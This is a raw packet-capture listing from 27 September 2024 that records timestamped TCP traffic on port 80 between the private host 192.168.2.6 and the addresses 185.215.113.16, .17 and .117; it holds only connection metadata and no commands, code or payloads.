Sep 27, 2024 16:18:16.145484924 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.145517111 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.145535946 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.145550966 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.145560980 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.145602942 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.145612001 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.145905018 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.146365881 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.146401882 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.146437883 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.146461010 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.146487951 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.146522045 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.146538019 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.146538019 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.146572113 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.146605015 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.146609068 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.146637917 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.146653891 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.146671057 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.146704912 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.146729946 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.146823883 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.147289991 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.147341967 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.147392035 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.147392035 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.147408009 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.147442102 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.147476912 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.147505999 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.147536039 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.147577047 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.147597075 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.147609949 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.147666931 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.147666931 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.148161888 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.148225069 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.148250103 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.148421049 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.151225090 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.151254892 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.151308060 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.151308060 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.151324034 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.151352882 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.151374102 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.151432037 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.194494009 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.194542885 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.194570065 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.194580078 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.194613934 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.194614887 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.194634914 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.194644928 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.194679976 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.194695950 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.194717884 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.194756031 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.267931938 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.267967939 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.268002033 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.268026114 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.268026114 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.268057108 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.268073082 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.268102884 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.268127918 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.268152952 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.268179893 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.268187046 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.268217087 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.268243074 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.268249989 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.268282890 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.268296957 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.268332958 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.268335104 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.268368959 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.268389940 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.268414974 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.268420935 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.268455029 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.268491983 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.268523932 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.268531084 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.268572092 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.268604040 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.268625021 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.268625021 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.268636942 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.268703938 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.268733978 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.268734932 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.268768072 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.268827915 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.268836975 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.268878937 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.268882990 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.268913031 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.268945932 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.268951893 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.268951893 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.269017935 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.269090891 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.269124031 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.269146919 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.269155025 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.269167900 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.269217014 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.269247055 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.269274950 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.269290924 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.269306898 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.269360065 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.269387007 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.269418955 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.269478083 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.269478083 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.269536018 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.269567966 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.269601107 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.269628048 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.269635916 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.269678116 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.269678116 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.269697905 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.269783020 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.269871950 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.269922018 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.269953966 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.269969940 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.270018101 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.270023108 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.270138025 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.270206928 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.270226955 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.270258904 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.270283937 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.270351887 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.270384073 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.270415068 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.270417929 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.270417929 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.270448923 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.270478964 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.270505905 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.270567894 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.270601034 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.270617962 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.270633936 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.270662069 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.270684958 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.273513079 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.273526907 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.273541927 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.273593903 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.273593903 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.273607016 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.273622036 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.273637056 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.273679972 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.273679972 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.273777962 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.273792982 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.273807049 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.273819923 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.273833990 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.273848057 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.273848057 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.273874998 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.274013042 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.274027109 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.274054050 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.274058104 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.274100065 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.274104118 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.274182081 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.274473906 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.274537086 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.274544001 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.274578094 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.274610043 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.274631977 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.274701118 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.274719954 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.274770021 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.274801970 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.274847031 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.274847031 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.274872065 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.274904013 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.274940014 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.275001049 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.275041103 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.275120020 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.275121927 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.275156021 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.275175095 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.275197029 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.275260925 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.281816006 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.281869888 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.281883955 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.281894922 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.281935930 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.281935930 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.281940937 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.281955957 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.281970024 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.282011986 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.282027960 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.282121897 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.282138109 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.282151937 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.282166958 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.282177925 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.282177925 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.282206059 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.282206059 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.282226086 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.282422066 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.355628014 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.355699062 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.355734110 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.355734110 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.355762959 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.355768919 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.355806112 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:16.355829000 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.355870962 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:16.897977114 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:16.903050900 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:16.906569958 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:16.966675997 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:16.971576929 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:17.019243956 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:17.025930882 CEST	49614	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:17.229247093 CEST	80	49614	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:17.229377985 CEST	49614	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:17.229801893 CEST	49614	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:17.230534077 CEST	80	49611	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:17.230588913 CEST	49611	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:17.234586954 CEST	80	49614	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:17.606864929 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:17.606998920 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:17.609525919 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:17.614408016 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:17.923355103 CEST	80	49614	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:17.923439026 CEST	49614	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:17.925432920 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:17.925743103 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:17.930639982 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:17.930696011 CEST	80	49603	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:17.930721998 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:17.930890083 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:17.930896997 CEST	49603	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:17.935805082 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.625284910 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.625340939 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.625356913 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.625380993 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.625396013 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.625431061 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.625446081 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.625463963 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.625498056 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.625498056 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.625528097 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.625530958 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.625535965 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.625562906 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.625571966 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.625597954 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.625611067 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.625627041 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.625641108 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.625673056 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.630455017 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.630511045 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.630511999 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.630553961 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.630692005 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.630721092 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.630740881 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.630759954 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.749775887 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.749823093 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.749878883 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.749886036 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.749912977 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.749950886 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.749968052 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.749984026 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.750011921 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.750055075 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.750097990 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.750159025 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.750194073 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.750202894 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.750227928 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.750233889 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.750272989 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.750689983 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.750741959 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.750750065 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.750777960 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.750785112 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.750828028 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.750858068 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.750890017 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.750915051 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.750940084 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.751580000 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.751631975 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.751636982 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.751663923 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.751672983 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.751705885 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.751715899 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.751749992 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.751801014 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.752418995 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.752453089 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.752485037 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.752507925 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.752535105 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:18.752547026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:18.752585888 CEST	49615	80	192.168.2.6	185.215.113.117
